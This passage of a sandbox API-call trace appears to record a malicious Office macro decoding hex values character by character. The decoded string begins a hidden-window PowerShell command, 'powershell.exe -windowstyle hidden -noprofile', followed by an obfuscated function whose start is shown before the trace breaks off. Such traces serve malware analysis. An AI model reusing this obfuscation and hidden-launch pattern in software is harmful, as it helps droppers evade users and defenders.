pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] VarParseNumFromStr (in: strIn="&H73", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.516] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.516] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n4", bstrRight="7", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.516] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] VarBstrCat (in: bstrLeft="&H", bstrRight="A2", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] VarParseNumFromStr (in: strIn="&HA2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.516] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.516] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47", bstrRight="f", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.517] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] VarBstrCat (in: bstrLeft="&H", bstrRight="72", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.517] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.517] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f", bstrRight="6", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.517] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.517] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.517] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6", bstrRight=" ", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.517] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] VarBstrCat (in: bstrLeft="&H", bstrRight="B7", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.517] VarParseNumFromStr (in: strIn="&HB7", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.517] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.517] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 ", bstrRight="{", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.518] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] VarBstrCat (in: bstrLeft="&H", bstrRight="49", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.518] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.518] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {", bstrRight="\r", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.518] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] VarBstrCat (in: bstrLeft="&H", bstrRight="46", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] VarParseNumFromStr (in: strIn="&H46", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.518] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.518] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r", bstrRight="\n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.518] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] VarBstrCat (in: bstrLeft="&H", bstrRight="AC", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] VarParseNumFromStr (in: strIn="&HAC", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.518] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.518] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\n", bstrRight="p", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.518] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] VarBstrCat (in: bstrLeft="&H", bstrRight="9D", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] VarParseNumFromStr (in: strIn="&H9D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.519] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.519] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\np", bstrRight="a", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.519] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] VarBstrCat (in: bstrLeft="&H", bstrRight="AE", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.519] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.519] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\npa", bstrRight="r", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.519] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] VarBstrCat (in: bstrLeft="&H", bstrRight="9D", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] VarParseNumFromStr (in: strIn="&H9D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.519] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.519] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\npar", bstrRight="a", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.520] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.520] VarBstrCat (in: bstrLeft="&H", bstrRight="A9", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.520] VarParseNumFromStr (in: strIn="&HA9", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.520] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.520] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\npara", bstrRight="m", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.520] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.520] VarBstrCat (in: bstrLeft="&H", bstrRight="64", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.520] VarParseNumFromStr (in: strIn="&H64", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.520] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.521] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam", bstrRight="(", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.521] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.521] VarBstrCat (in: bstrLeft="&H", bstrRight="60", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.521] VarParseNumFromStr (in: strIn="&H60", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.521] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.521] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam(", bstrRight="$", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.521] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.521] VarBstrCat (in: bstrLeft="&H", bstrRight="A0", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.521] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.521] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.522] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($", bstrRight="d", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.522] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.522] VarBstrCat (in: bstrLeft="&H", bstrRight="6D", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.522] VarParseNumFromStr (in: strIn="&H6D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.522] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.522] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d", bstrRight="1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.522] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.522] VarBstrCat (in: bstrLeft="&H", bstrRight="73", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.522] VarParseNumFromStr (in: strIn="&H73", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.522] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.522] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d1", bstrRight="7", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.522] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] VarBstrCat (in: bstrLeft="&H", bstrRight="A0", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.523] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.523] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17", bstrRight="d", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.523] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] VarBstrCat (in: bstrLeft="&H", bstrRight="75", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] VarParseNumFromStr (in: strIn="&H75", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.523] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.523] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d", bstrRight="9", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.523] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] VarBstrCat (in: bstrLeft="&H", bstrRight="6F", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.523] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.523] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.523] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d9", bstrRight="3", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.524] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] VarBstrCat (in: bstrLeft="&H", bstrRight="65", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.524] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.524] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d93", bstrRight=")", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.524] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] VarBstrCat (in: bstrLeft="&H", bstrRight="49", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.524] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.524] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d93)", bstrRight="\r", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.524] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] VarBstrCat (in: bstrLeft="&H", bstrRight="46", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.524] VarParseNumFromStr (in: strIn="&H46", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.524] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.525] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d93)\r", bstrRight="\n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.525] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.525] VarBstrCat (in: bstrLeft="&H", bstrRight="60", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.525] VarParseNumFromStr (in: strIn="&H60", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.525] VarNumFromParseNum (in: 